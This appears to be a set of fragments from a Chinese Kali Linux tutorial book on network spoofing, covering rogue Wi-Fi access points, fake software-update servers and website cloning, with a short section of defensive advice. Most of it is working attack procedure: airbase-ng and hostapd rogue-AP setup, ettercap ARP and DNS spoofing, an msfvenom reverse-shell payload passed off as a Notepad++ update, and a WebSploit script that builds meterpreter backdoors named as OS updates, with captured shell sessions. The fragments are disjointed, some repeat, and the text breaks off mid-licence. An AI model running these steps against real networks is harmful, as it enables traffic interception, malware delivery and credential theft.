    {"text": "执行命令： root@daxueba:~# iwconfig eth0 no wireless extensions. lo no wireless extensions. wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off 从输出的信息中可以看到，无线网络接口名称为wlan0mon，其模式（Mode）为监听模式（Monitor）。"},
    {"text": "执行命令： root@daxueba:~# airodump-ng wlan0mon CH 7 ][ Elapsed: 48 s ][ 2019-11-03 16:06 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C8:3A:35: -54 21 137 0 6 270 WPA2 CCMP PSK Tenda_5D2B90 5D:2B:90 80:89:17: -55 20 39 0 1 405 WPA2 CCMP PSK TP-LINK_A1B8 66:A1:B8 8C:21:0A: -60 12 8 0 6 54e. WEP WEP Test 44:09:F8 BSSID STATION PWR Rate Lost Frames Probe (not associated) 08:4A:CF:0F:7E:19 -80 0 - 1 0 2 C8:3A:35:5D:2B:90 FC:1A:11:9E:36:A6 -54 0e- 0e 0 136 80:89:17:66:A1:B8 94:D0:29:76:F7:09 -1 0e- 0 0 38 8C:21:0A:44:09:F8 1C:77:F6:60:F2:CC -36 0 - 6 0 22 从输出的信息中可以看到附近的所有WiFi网络。"},
    {"text": "执行命令： root@daxueba:~# airbase-ng -e “Tenda_5D2B90”-c 6 wlan0mon 16:12:29 Created tap interface at0 16:12:29 Trying to set MTU on at0 to 1500 16:12:29 Trying to set MTU on wlan0mon to 1800 16:12:30 Access Point with BSSID C8:3A:35:B0:14:48 started. 看到以上输出信息，就表示已成功创建了一个伪AP，而且创建了一个at0接口。"},
    {"text": "在3.2节中已经讲解了具体的搭建方法，这里只给出本例中的配置，如下： root@daxueba:~# vi /etc/default/isc-dhcp-server INTERFACESv4=\"at0\" #设置监听接口为at0 root@daxueba:~# vi /etc/dhcp/dhcpd.conf default-lease-time 600; max-lease-time 7200; ddns-update-style none; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.200; option subnet-mask 255.255.255.0; option routers 10.0.0.1; option broadcast-address 10.0.0.255; option domain-name-servers 10.0.0.1; } 在以上配置中，DNS服务器的IP地址要设置成伪DNS的IP地址；"},
    {"text": "默认网关的地址要设置成伪AP的IP地址，即at0接口。 注意，这里的伪AP的IP地址和Internet接口的IP地址不能在同一个网段。 这里将伪AP的IP地址设置为10.0.0.1。"},
    {"text": "执行命令： root@daxueba:~# ifconfig at0 up root@daxueba:~# ifconfig at0 10.0.0.1 netmask 255.255.255.0 root@daxueba:~# route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 （6）启动DHCP服务。 执行命令： root@daxueba:~# service isc-dhcp-server start 执行以上命令后，DHCP服务就成功启动了。"},
    {"text": "执行命令： root@daxueba:~# netstat -antpul | grep 67 udp 0 0 0.0.0.0:67 0.0.0.0:* 2323/dhcpd 此时，如果客户端连接该伪AP，就可以正常获取IP地址了。"},
    {"text": "因此，攻击者还需要将目标用户的客户端与原始AP的连接强制断开，强制它连接到攻击者的伪AP上，而且要保证这个过程不引起目标用户的察觉。"},
    {"text": "如果要保证目标用户能正常上网，还需要使用iptables命令设置流量转发，将接口at0上的流量NAT到真正的出口网卡eth0上。 执行命令： root@daxueba:~# sysctl net.ipv4.ip_forward=1 #启动路由器转发 root@daxueba:~# iptables -t nat -A POSTROUTING -s 10.0.0.1/24 -o eth0 –j MASQUERADE #数据转发"},
    {"text": "具体操作步骤如下： （1）设置无线网卡为监听模式。 执行命令： root@daxueba:~# airmon-ng start wlan0 Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 53460 avahi-daemon 53461 avahi-daemon PHY Interface Driver Chipset phy4 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy4]wlan0 on [phy4]wlan0mon) (mac80211 station mode vif disabled for [phy4]wlan0) 从输出信息中可以看到，已成功将无线网卡设置为监听模式。"},
    {"text": "执行命令： root@daxueba:~# airodump-ng wlan0mon CH 7 ][ Elapsed: 48 s ][ 2019-11-03 16:06 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C8:3A:35: -54 21 137 0 6 270 WPA2 CCMP PSK Tenda_5D2B90 5D:2B:90 80:89:17: -55 20 39 0 1 405 WPA2 CCMP PSK TP-LINK_A1B8 66:A1:B8 8C:21:0A: -60 12 8 0 6 54e. WEP WEP Test 44:09:F8 BSSID STATION PWR Rate Lost Frames Probe (not associated) 08:4A:CF:0F:7E:19 -80 0 - 1 0 2 C8:3A:35:5D:2B:90 FC:1A:11:9E:36:A6 -54 0e- 0e 0 136 80:89:17:66:A1:B8 94:D0:29:76:F7:09 -1 0e- 0 0 38 8C:21:0A:44:09:F8 1C:77:F6:60:F2:CC -36 0 - 6 0 22 输出信息显示了当前扫描的所有网络。"},
    {"text": "（3）使用Wifi-Honey工具调用wifi_honey_template.rc脚本，该脚本文件默认保存在/usr/share/wifi-honey/下。 该脚本文件默认的内容如下： root@daxueba:~# vi /usr/share/wifi-honey/wifi_honey_template.rc startup_message off caption always \"%{= kw}%-w%{= BW}%n %t%{-}%+w %-= @%H - %LD %d %LM - %c\" screen -t Unencrypted airbase-ng -a aa:aa:aa:aa:aa:aa -c <CHANNEL> --essid <ESSID> mon1 screen -t WEP airbase-ng -a bb:bb:bb:bb:bb:bb -c <CHANNEL> --essid <ESSID> -W 1 mon2 screen -t WPA airbase-ng -a cc:cc:cc:cc:cc:cc -c <CHANNEL> --essid <ESSID> -W 1 -z 2 mon3 screen -t WPA2 airbase-ng -a dd:dd:dd:dd:dd:dd -c <CHANNEL> --essid <ESSID> -W 1 -Z 4 mon4 screen -t airodump airodump-ng -w cap --channel <CHANNEL> mon0 这里主要看最后5行信息显示的是Wifi-Honey工具建立的5个监听模式接口。"},
    {"text": "修改后的内容如下： screen -t Unencrypted airbase-ng -a aa:aa:aa:aa:aa:aa -c <CHANNEL> --essid <ESSID> wlan0mon screen -t WEP airbase-ng -a bb:bb:bb:bb:bb:bb -c <CHANNEL> --essid <ESSID> -W 1 mon2 screen -t WPA airbase-ng -a cc:cc:cc:cc:cc:cc -c <CHANNEL> --essid <ESSID> -W 1 -z 2 mon3 screen -t WPA2 airbase-ng -a dd:dd:dd:dd:dd:dd -c <CHANNEL> --essid <ESSID> -W 1 -Z 4 mon4 screen -t airodump airodump-ng -w cap --channel <CHANNEL> wlan0mon 此时，保存并退出该文件。"},
    {"text": "执行命令： root@daxueba:~# ifconfig at0 10.0.0.1/24 up #激活at0接口 root@daxueba:~# service isc-dhcp-server start #启动DHCP服务 （7）此时，伪AP就创建好了。"},
    {"text": "执行命令： root@daxueba:~# sysctl net.ipv4.ip_forward=1 #启动路由器转发 root@daxueba:~# iptables -t nat -A POSTROUTING -s 10.0.0.1/24 -o eth0 –j MASQUERADE #数据转发 当有客户端连接伪AP时，在Wifi-Honey的终端界面将输出如下类似信息： 11:31:01 Client 1C:77:F6:60:F2:CC associated (unencrypted) to ESSID: \"Fakeap\""},
    {"text": "未知 6.2.3 使用hostapd工具 hostapd工具是一个用户空间的守护程序，主要用于接入结点（AP）和认证服务器上。它实现了IEEE802.11接入结点管理、IEEE802.1X/WPA/WPA2/EAP认证以及RADIU。简单地说，hostapd工具能够使得无线网卡切换为master模式，模拟AP功能，也就是伪AP。下面将介绍如何使用hostapd工具创建伪AP。 在Kali Linux中，默认没有安装hostapd工具。因此，如果要使用该工具，则需要先安装。执行命令： root@daxueba:~# apt-get install hostapd 执行以上命令后，如果没有报错，则表示hostapd工具安装成功。 【实例6-3】 使用hostapd工具创建伪AP。具体操作步骤如下： （1）创建一个目录，用于保存所有的配置文件。例如，这里创建一个名为fakeap的目录。执行命令： root@daxueba:~# mkdir fakeap （2）创建hostapd工具的配置文件。其内容如下： root@daxueba:~# vi /root/fakeap/hostapd.conf interface=wlan0 #伪AP接口 driver=nl80211 #驱动 ssid=Test #伪AP名称 hw_mode=g #使用的无线传输协议，这里表示使用802.11g channel=6 #目标AP信道 macaddr_acl=0 auth_algs=1 #验证身份的算法。“1”表示只支持wpa，“2”表示只支持 wep，“3”表示两者都支持。wep已经被淘汰了，请不要使用 ignore_broadcast_ssid=0 添加以上内容后，保存并退出hostapd工具的配置文件。 （3）启动伪AP。执行命令： root@daxueba:~# hostapd /root/fakeap/hostapd.conf Configuration file: /root/fakeap/hostapd.conf Using interface wlan0 with hwaddr 92:4a:45:de:ca:0a and ssid \"Test\" wlan0: interface state UNINITIALIZED->ENABLED wlan0: AP-ENABLED 看到以上输出信息，就表明已成功创建了伪AP。接下来，需要启动DHCP服务来给客户端分配IP地址。 提示： 用户在首次启动伪AP时，可能会出现interface wlan0 wasn't start错误，具体如下： Configuration file: /root/fakeap/hostapd.conf nl80211: Could not configure driver mode nl80211: deinit ifname=wlan0 disabled_11b_rates=0 nl80211 driver initialization failed. wlan0: interface state UNINITIALIZED->DISABLED wlan0: AP-DISABLED hostapd_free_hapd_data: Interface wlan0 wasn't started 这是因为WLAN设备没有打开。无线设备一般有三种状态，即使用中、软锁定和硬锁定。其中，软锁定就是关闭但可被软件激活，而硬锁定不可以。此时，用户执行以下两条命令，即可解决该问题： root@daxueba:~# nmcli r wifi off #关闭WiFi root@daxueba:~# rfkill unblock wlan #软锁定WLAN （4）配置wlan0接口的DHCP服务。设置监听接口为wlan0，执行命令： root@daxueba:~# vi /etc/default/isc-dhcp-server INTERFACESv4=\"wlan0\" 为了方便，仍然使用6.2.2节中的DHCP服务配置信息，配置wlan0接口的IP地址为10.0.0.1。执行命令： root@daxueba:~# ifconfig wlan0 10.0.0.1/24 接下来，启动DHCP服务。执行命令： root@daxueba:~# service isc-dhcp-server start （5）此时，使用hostadp工具创建的伪AP就配置好了。当有客户端连接时，hostapd终端界面将显示如下信息： wlan0: STA 1c:77:f6:60:f2:cc IEEE 802.11: authenticated wlan0: STA 1c:77:f6:60:f2:cc IEEE 802.11: associated (aid 1) wlan0: AP-STA-CONNECTED 1c:77:f6:60:f2:cc wlan0: STA 1c:77:f6:60:f2:cc RADIUS: starting accounting session 1875453 13C9F9F8A wlan0: AP-STA-DISCONNECTED 1c:77:f6:60:f2:cc 未知 6.3 防御策略 无线局域网的易用性已经深入人心，但同时其安全性问题也应引起人们的足够重视。基于伪AP的攻击方法通过与多种攻击方式组合，最终可诱骗用户连接至伪AP上，并可以对用户的流量数据进行全透明监控及篡改等操作，甚至可以获取用户的账户、口令信息和网络行为信息等。本节将介绍一些防护基于伪AP的攻击的措施。 未知 6.3.1 尽量不接入未加密网络 很多用户为了使用方便，会在商场、咖啡厅和机场等公共场所接入未加密WLAN网络。未加密网络使用明文传输数据，位于用户发射信号范围内的人都可以获取用户的通信流量信息。因此，尽量不接入这些WLAN网络。如果确实需要接入，最好也不要进行登录敏感账户的操作。另外，在离开公共场合后，应尽快删除接入点的配置信息，以防止攻击者利用配置信息绕过加密机制的防护而进行攻击。 未知 6.3.2 确认敏感网站登录页面处于HTTPS保护 目前，网上银行、购物网站和电子邮件的登录页面几乎都应用了SSL技术。SSL可以有效地保护用户数据的安全。为了确保登录页面处于SSL的保护下，应在登录前确认网页上有象征HTTPS防护的锁型标志。另外，这类网站通常都推出了各自的安全控件，不仅可以帮助用户配置计算机中的一些与安全相关的选项，也会实时检测钓鱼网站。因此，应及时下载并更新各网站的安全控件，做到防患于未然。"},
    {"text": "未知 6.3.3 加密方式的选择 WEP加密方式存在明显的漏洞，所以不要使用WEP方式。一般推荐使用WPA、WPA2。针对WPA加密方式，目前只能通过暴力破解的方法来攻击，其成功率取决于密码是否被包含在破解字典中。因此，在选用WPA加密方式时，应注意口令长度与复杂度，一般建议至少12个字符并包括数字、字母和特殊符号。另外，应该关闭AP的WPS功能，防止攻击者通过尝试PIN码的方式绕过WPA加密。 未知 6.3.4 及时排查内网网速下降等问题 当用户连接到伪AP后，网速肯定会有变化。因为伪AP需要对用户的数据进行转发，所以通常情况下网速会变慢。此时，用户应该及时排查，检查连接的AP是否正确。如有问题，及时断开连接，并删除连接配置信息。 未知 6.3.5 使用VPN加密隧道 由于WiFi本身不具备更多的安全机制，因此在WiFi上层可以考虑使用VPN加密。这样即使用户不小心连接到伪AP，也能进行数据保护，防治窃听。其中，使用VPN加密隧道实现WiFi中间人攻击防护的原理如图6.4所示。 图6.4 WiFi中间人攻击防护 图6.4所示为通过L2TP Over IPSec VPN，对基于伪AP WiFi中间人攻击进行的防护。因为Windows、Mac、iOS和安卓等终端产品都默认支持L2TP Over IPSec VPN客户端功能，所以无须额外安装客户端软件。同时，L2TP Over IPSec VPN服务端功能也被各类防火墙如软件支持。 未知 第3篇 服务伪造 未知 第7章 伪造更新服务 现在大部分软件都提供更新功能。软件一旦运行，就自动检查对应的更新（Update）服务器。如果发现新版本，就会提示用户，并进行下载和安装。而用户往往信任提示，选择进行升级。如果更新策略制定不严密，就存在严重的漏洞。基于这个思路，攻击者可以轻松地控制目标主机。isr-evilgrade工具就是利用这个功能实施网络欺骗的。另外，在WebSploit框架中，提供了一个fakeupdate模块，也可以用来伪造更新服务。本章将介绍如何使用这两个工具来伪造更新服务。 未知 7.1 使用isr-evilgrade工具 isr-evilgrade工具是一款构建伪造更新服务工具。该工具不仅提供了DNS和Web服务模块，还提供了几十种伪造更新服务的模块。当实施DNS攻击后，需要更新软件的主机就会访问攻击者的计算机，下载预先准备好的攻击载荷作为更新包并进行运行，这样，攻击者就可以控制目标主机。攻击者还可以使用自带的模板，编写特定的虚假更新模块。本节将介绍如何使用isr-evilgrade工具伪造更新服务。 未知 7.1.1 安装及启动isr-evilgrade工具 在Kali Linux中，默认没有安装isr-evilgrade工具，因此需要先安装该工具。执行命令： root@daxueba:~# apt-get install isr-evilgrade 执行以上命令后，如果没有出现任何错误，则表示isr-evilgrade工具安装成功。接下来，攻击者就可以启动isr-evilgrade工具了。 【实例7-1】 启动isr-evilgrade工具。执行命令： root@daxueba:~# evilgrade [DEBUG] - Loading module: modules/fcleaner.pm [DEBUG] - Loading module: modules/istat.pm [DEBUG] - Loading module: modules/clamwin.pm [DEBUG] - Loading module: modules/quicktime.pm [DEBUG] - Loading module: modules/nokia.pm [DEBUG] - Loading module: modules/ubertwitter.pm [DEBUG] - Loading module: modules/paintnet.pm [DEBUG] - Loading module: modules/vmware.pm [DEBUG] - Loading module: modules/mirc.pm [DEBUG] - Loading module: modules/bbappworld.pm [DEBUG] - Loading module: modules/apptapp.pm [DEBUG] - Loading module: modules/miranda.pm [DEBUG] - Loading module: modules/ccleaner.pm [DEBUG] - Loading module: modules/flip4mac.pm [DEBUG] - Loading module: modules/autoit3.pm [DEBUG] - Loading module: modules/sparkle2.pm [DEBUG] - Loading module: modules/apt.pm ...//省略部分内容//... [DEBUG] - Loading module: modules/winzip.pm [DEBUG] - Loading module: modules/jetphoto.pm [DEBUG] - Loading module: modules/notepadplus.pm [DEBUG] - Loading module: modules/photoscape.pm [DEBUG] - Loading module: modules/osx.pm [DEBUG] - Loading module: modules/jdtoolkit.pm [DEBUG] - Loading module: modules/appleupdate.pm [DEBUG] - Loading module: modules/gom.pm [DEBUG] - Loading module: modules/winamp.pm _ _ _ (_) | | | _____ ___| | __ _ _ __ __ _ __| | ___ / _ \\ \\ / / | |/ _` | '__/ _` |/ _` |/ _ \\ | __/\\ V /| | | (_| | | | (_| | (_| | __/ \\___| \\_/ |_|_|\\__, |_| \\__,_|\\__,_|\\___| __/ | |___/ ------------------------------------------- --------------------- www.infobytesec.com - 80 modules available. #有效模块数量 evilgrade> 出现evilgrade>提示符，表示成功启动了isr-evilgrade工具。从输出的信息中可以看到，加载了所有模块。在输出的倒数第二行信息中可以看到，共加载了80个有效模块。接下来，攻击者即可利用提供的模块来伪造更新服务。 提示： 攻击者还可以自己编写脚本，实现其他软件的伪造更新功能。"},
    {"text": "具体操作步骤如下： （1）配置notepadplus模块。 执行命令： undef1evilgrade>configure notepadplus evilgrade(notepadplus)> 出现evilgrade(notepadplus)>提示符表示成功加载了notepadplus模块。 （2）查看notepadplus模块的配置选项。 执行命令： evilgrade(notepadplus)>show options Display options: =============== Name = notepadplus Version = 1.0 Author = [\"Francisco Amato < famato +[AT]+ infobytesec.com>\"] Description = \"The notepad++ use GUP generic update process so it''s boggy too.\" VirtualHost = \"notepad-plus.sourceforge.net\" notepad-plus-plus.org .----------------------- --------- --------------. | Name | Default | Description | +---------+------------------+-------------------+ | enable | 1 | Status | | agent | ./agent/agent.exe | Agent to inject | '---------+------------------+-------------------' 从输出的信息中可以看到，当前模块有两个配置选项，分别是enable和agent。"},
    {"text": "执行命令： root@daxueba:~# msfvenom -a x86 --platform windows -p windows/shell_ reverse_tcp LHOST=192.168.198.138 LPORT=4444 -b \"\\x00\" -e x86/shikata_ ga_nai -f exe -o test.exe Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of exe file: 73802 bytes Saved as: Payload.exe 从输出的信息中可以看到，已成功生成了一个名为Payload.exe的攻击载荷。"},
    {"text": "执行命令： evilgrade(notepadplus)>set agent [\"/root/payload.exe\"] set agent, [/root/payload.exe] 从输出的信息中可以看到，已设置agent选项为/root/payload.exe。"},
    {"text": "执行命令： evilgrade(notepadplus)>show options Display options: =============== Name = notepadplus Version = 1.0 Author = [\"Francisco Amato < famato +[AT]+ infobytesec.com>\"] Description = \"The notepad++ use GUP generic update process so it''s boggy too.\" VirtualHost = \"notepad-plus.sourceforge.net\" .---------------- ---------------------- --------------. | Name | Default | Description | +-----------+---------------------+-------------------+ | enable | 1 | Status | | agent | [/root/payload.exe] | Agent to inject | '-----------+---------------------+-------------------' （4）启动notepad-plus模块。 执行命令： evilgrade(notepadplus)>start evilgrade(notepadplus)> [8/11/2019:15:37:19] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade(notepadplus)> [8/11/2019:15:37:19] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ... 从输出的信息中可以看到，已启动了Web服务和DNS服务。"},
    {"text": "执行命令： evilgrade(notepadplus)>status WEBSERVER : (pid 15509) already running DNSSERVER : (pid 15510) already running Users status: ============ [*] Waiting users.. evilgrade(notepadplus)> 从输出的信息中可以看到，Web服务和DNS服务正在运行。"},
    {"text": "执行命令： root@daxueba:~# vi /etc/ettercap/etter.dns notepad-plus.sourceforge.net A 192.168.198.138 以上信息表示，将域名notepad-plus.sourceforge.net欺骗到主机192.168.198.138（攻击主机）。"},
    {"text": "执行命令： root@daxueba:~# ettercap -Tq -P dns_spoof -M arp:remote /192.168.198.131// //192.168.198.2/ ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0C:AA:06 192.168.198.133/255.255.255.0 fe80::20c:29ff:fe0c:aa06/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.198.131 00:0C:29:34:75:8B GROUP 2 : 192.168.198.2 00:50:56:F0:39:38 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... #激活dns_spoof插件 看到以上输出信息，就表明已成功对目标实施了DNS欺骗。"},
    {"text": "运行后，攻击主机即可获取一个反向Shell会话，如下： root@daxueba:~# nc -lvp 4444 listening on [any] 4444 ... connect to [192.168.198.138] from 192.168.198.131 [192.168.198.131] 49294 Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� C:\\Users\\daxueba\\Desktop> 出现“C:\\Users\\daxueba\\Desktop>”提示符，表示成功获取了目标主机的Shell会话。"},
    {"text": "执行命令： C:\\Users\\daxueba\\Desktop>whoami whoami daxueba-pc\\daxueba 从输出的信息中可以看到，当前登录的计算机名为daxueba-pc，用户名为daxueba。"},
    {"text": "未知 7.2 使用WebSploit框架 WebSploig框架是一个开源命令行实用程序，主要用于远程扫描和分析目标系统的漏洞。使用它，攻击者可以非常容易地发现系统中存在的漏洞，并进行深入分析。该框架中提供了一个fakeupdate模块，可以用来伪造更新服务。本节将介绍如何使用fakeupdate模块伪造更新服务。 未知 7.2.1 安装及启动WebSploit框架 Kali Linux默认没有安装WebSploit框架。因此，需要先安装，才可以使用。执行命令： root@daxueba:~# apt-get install websploit 执行以上命令后，如果没有出现任何错误，则说明WebSploit框架安装成功。接下来，就可以启动该框架了。执行命令： root@daxueba:~# websploit db d8b db d88888b d8888b. .d8888. d8888b. db .d88b. d888888b d888888b 88 I8I 88 88' 88 `8D 88' YP 88 `8D 88 .8P Y8. `88' `~~88~~' 88 I8I 88 88ooooo 88oooY' `8bo. 88oodD' 88 88 88 88 88 Y8 I8I 88 88~~~~~ 88~~~b. `Y8b. 88~~~ 88 88 88 88 88 `8b d8'8b d8' 88. 88 8D db 8D 88 88booo. `8b d8' .88. 88 `8b8' `8d8' Y88888P Y8888P' `8888Y' 88 Y88888P `Y88P' Y888888P YP --=[WebSploit Advanced MITM Framework +---**---==[Version :3.0.0 +---**---==[Codename :Katana +---**---==[Available Modules : 20 --=[Update Date : [r3.0.0-000 20.9.2014] wsf > 出现wsf>提示符表示成功启动了WebSploit框架。接下来，就可以使用该框架中的所有模块了。"},
    {"text": "需要修改的内容（加粗的部分）如下： subprocess.Popen('cp /usr/share/websploit/modules/fakeupdate/www/* /var/ www/') print(wcolors.color.CYAN + \"[*]Creating Backdoor For Windows OS ...\" + wcolors.color.ENDC) cmd_1 = 'msfpayload windows/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4441 X > /var/www/Windows-KB183905-ENU.exe' subprocess.Popen(cmd_1, stdout=subprocess.PIPE, stderr=subprocess. PIPE, shell=True).wait() print(wcolors.color.CYAN + \"[*]Creating Backdoor For Linux OS ...\" + wcolors.color.ENDC) cmd_2 = 'msfpayload linux/x86/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4442 X > /var/www/Linux-update-EN-659' subprocess.Popen(cmd_2, stdout=subprocess.PIPE, stderr=subprocess. PIPE, shell=True).wait() print(wcolors.color.CYAN + \"[*]Creating Backdoor For MAC OSX ...\" + wcolors.color.ENDC) cmd_3 = 'msfpayload osx/x86/shell_reverse_tcp LHOST=' + options [1] + ' LPORT=4443 X > /var/www/OSX-update-HT3131' subprocess.Popen(cmd_3, stdout=subprocess.PIPE, stderr=subprocess. PIPE, shell=True).wait() …… windows_listener = 'xterm -e msfcli exploit/multi/handler PAYLOAD=windows/ meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4441 E &' linux_listener = 'xterm -e msfcli exploit/multi/handler PAYLOAD= linux/x86/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4442 E &' macosx_listener = 'xterm -e msfcli exploit/multi/handler PAYLOAD= osx/x86/shell_reverse_tcp LHOST=' + options[1] + ' LPORT=4443 E &' 修改后的内容如下： subprocess.Popen('cp /usr/share/websploit/modules/fakeupdate/www/* /var/www/', shell=True).wait() cmd_1 = 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + options[1] + ' LPORT=4441 -f exe > /var/www/Windows-KB183905-ENU.exe' subprocess.Popen(cmd_1, stdout=subprocess.PIPE, stderr=subprocess. PIPE, shell=True).wait() print(wcolors.color.CYAN + \"[*]Creating Backdoor For Linux OS ...\" + wcolors.color.ENDC) cmd_2 = 'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= ' + options[1] + ' LPORT=4442 -f elf > /var/www/Linux-update-EN-659' subprocess.Popen(cmd_2, stdout=subprocess.PIPE, stderr=subprocess. PIPE, shell=True).wait() print(wcolors.color.CYAN + \"[*]Creating Backdoor For MAC OSX ...\" + wcolors.color.ENDC) cmd_3 = 'msfvenom -p osx/x86/shell_reverse_tcp LHOST=' + options[1] + ' LPORT=4443 -f macho > /var/www/OSX-update-HT3131' …… windows_listener = 'xterm -e msfconsole -x \"use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST ' + options[1] + '; set LPORT 4441; run\" &' linux_listener = 'xterm -e msfconsole -x \"use exploit/multi/ handler;set PAYLOAD linux/x86/meterpreter/reverse_tcp;set LHOST ' + options[1] + '; set LPORT 4442; run\" &' macosx_listener = 'xterm -e msfconsole -x \"use exploit/multi/ handler;set PAYLOAD osx/x86/shell_reverse_tcp;set LHOST ' + options[1] + ';set LPORT 4443; run\" &' 保存并退出脚本的编辑界面。"},
    {"text": "执行命令： root@daxueba:~# ettercap -Tq -P dns_spoof -M arp:remote /192.168.198.131// //192.168.198.2/ ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0C:AA:06 192.168.198.133/255.255.255.0 fe80::20c:29ff:fe0c:aa06/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.198.131 00:0C:29:34:75:8B GROUP 2 : 192.168.198.2 00:50:56:F0:39:38 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... #激活dns_spoof插件 （2）加载fakeupdate模块，并查看该模块的配置选项。 执行命令： wsf > use network/fakeupdate wsf:Fake Update > show options Options Value RQ Description --------- -------------- ---- -------------- Interface eth0 yes Network Interface Name LHOST 192.168.1.1 yes Local IP Address 从输出的信息中可以看到，该模块有两个配置选项Interface和LHOST。"},
    {"text": "LHOST选项指定本地IP地址。 这里，将修改LHOST选项，指定攻击主机的IP地址为192.168.198.133。 （3）设置LHOST选项。 执行命令： wsf:Fake Update > set lhost 192.168.198.133 LHOST => 192.168.198.133 （4）执行fakeupdate模块。"},
    {"text": "执行命令： wsf:Fake Update > run [!]Checking Setting, Please Wait ... [*]Creating Backdoor For Windows OS ... #创建Windows后门 [*]Creating Backdoor For Linux OS ... #创建Linux后门 [*]Creating Backdoor For MAC OSX ... #创建MAC OSX后门 [*]Create Backdoor's Successful. #创建后门成功 [*]Starting Web Server ... #启动Web服务 [*]Starting DNS Spoofing ... #启动DNS欺骗 [*]Checking Ettercap ... Please Wait ... #检测Ettercap攻击 [*]Starting Listener For Windows, Linux, MacOSX ... #启动监听 [*]Attack Has Been Started. #等待获取会话 [!]When You Got The Session, Press [enter] Key For Kill DNS Spoof Attack ... 从输出的信息中可以看到，分别针对Windows、Linux和MAC OSX系统创建了后门，并且对其都进行了监听，等待获取会话。"},
    {"text": "此时，将会弹出监听不同操作系统的三个窗口，分别如图7.1、图7.2和图7.3所示。 图7.1 Windows系统的后门监听 （5）从图7.1～图7.3中可以看到，分别监听的端口为4441、4442和4443。"},
    {"text": "图7.2 Linux系统的后门监听 图7.3 MAC OSX系统的后门监听 图7.4 成功获取会话 （6）从图7.4所示的窗口中可以看到，成功获取一个Meterpreter会话。"},
    {"text": "例如，使用sysinfo命令查看系统信息，结果如图7.5所示。 图7.5 成功获取系统信息 从图7.5所示的窗口中可以看到目标主机的系统信息。"},
    {"text": "未知 第8章 伪造网站服务 用户访问的网页都是由网站服务器来响应的。对于大部分的网站来说，都需要用户登录后才可以进行操作，如路由器的管理界面、邮箱网站和网银网站等。攻击者通过伪造网站服务，即可诱骗用户的登录信息，然后使用嗅探到的用户信息来登录目标网站，以进行查看或管理。至于伪造网站服务的方式，除了攻击者自己搭建网站服务外，还可以借助工具来克隆网站或伪造域名。本章将介绍伪造网站服务的方法。 未知 8.1 克隆网站 克隆网站是将目标网站完全复制，包括页面内容、图片、网页链接关系等，从而生成一个与目标网站外观完全相同的网站。这样，就可以欺骗用户，获取用户的重要信息。在Kali Linux中，提供了一款名为SET的工具包，可以用来克隆网站。本节将介绍使用SET克隆网站的方法。"},
    {"text": "未知 8.1.1 启动SET 社会工程学工具包（Social-Engineer Toolkit，SET）是一款专门用于社会工程的高级工具包。SET主要利用用户的好奇心、信任、贪婪及一些“愚蠢”的错误，攻击系统自身存在的弱点。该工具包内置了大量的攻击工具，可以进行有针对性的集中攻击。下面介绍启动SET的方法。 【实例8-1】 启动SET。执行命令： root@daxueba:~# setoolkit 执行以上命令后，将显示许可协议信息。内容如下： [-] New set.config.py file generated on: 2019-11-09 11:11:40.034767 [-] Verifying configuration update... [*] Update verified, config timestamp is: 2019-11-09 11:11:40.034767 [*] SET is using the new config, no need to restart Copyright 2019, The Social-Engineer Toolkit (SET) by TrustedSec, LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 